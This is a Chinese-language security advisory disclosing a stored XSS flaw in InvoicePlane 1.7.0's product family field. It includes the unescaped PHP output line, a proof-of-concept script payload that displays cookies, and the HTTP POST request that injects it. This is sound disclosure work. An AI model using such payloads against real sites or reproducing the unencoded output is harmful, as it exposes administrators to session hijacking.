漏洞类型: 通过姓氏(Family Name)字段实现的存储型跨站脚本(XSS)
产品: InvoicePlane
受影响版本: 1.7.0(可能影响更早版本)
严重性: 中危
CVSS 3.1 评分: 4.8(CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:N)
CWE: CWE-79:网页生成过程中输入的不当中和
发现者: Leonidas Agathos
报告日期: 2026-01-31
产品族表单(/index.php/families/form)中的 family_name 字段接受任意输入且未进行净化处理。该值存储在数据库中,随后在产品创建/编辑页面的族下拉列表中以未编码形式渲染,导致任何访问产品表单的管理员都会执行 JavaScript。
易受攻击的文件: application/modules/products/views/form.php:40
// 第 40 行
><?php echo $family->family_name; ?></option>
步骤 1 — 将载荷注入姓氏字段
导航至 /index.php/families/form,并在姓氏字段中提交以下内容:
<script>alert('domain:'+document.domain+'cookies:'+document.cookie)</script>
请求:
POST /index.php/families/form HTTP/1.1
Host: 172.25.0.12
Content-Type: application/x-www-form-urlencoded
_ip_csrf=...&btn_submit=1&is_update=0&family_name=%3Cscript%3Ealert%28document.cookies%29%3C%2Fscript%3E

步骤 2 — 触发 XSS
导航至 /index.php/products/form。当族下拉列表渲染时,载荷即被触发。

任何访问产品创建或编辑页面的管理员都会在其浏览器中执行该载荷。这可能导致会话劫持(如果 Cookie 未设置 HttpOnly)、CSRF 令牌窃取,以及以受害者身份执行操作。
| 日期 | 事件 |
|---|---|
| 2026-01-30 | 发现漏洞 |
| 2026-01-31 | 开发概念验证 |
| 2026-01-31 | 通知厂商 |
| 2026-02-04 | 厂商确认 |
| 2026-02-04 | 发布补丁 |
| 2026-02-05 | 公开披露 |
此漏洞是在独立安全研究过程中发现的。所有信息仅用于教育、研究和防御目的,以帮助厂商和安全社区理解和修复该问题。严禁将本信息用于任何恶意用途。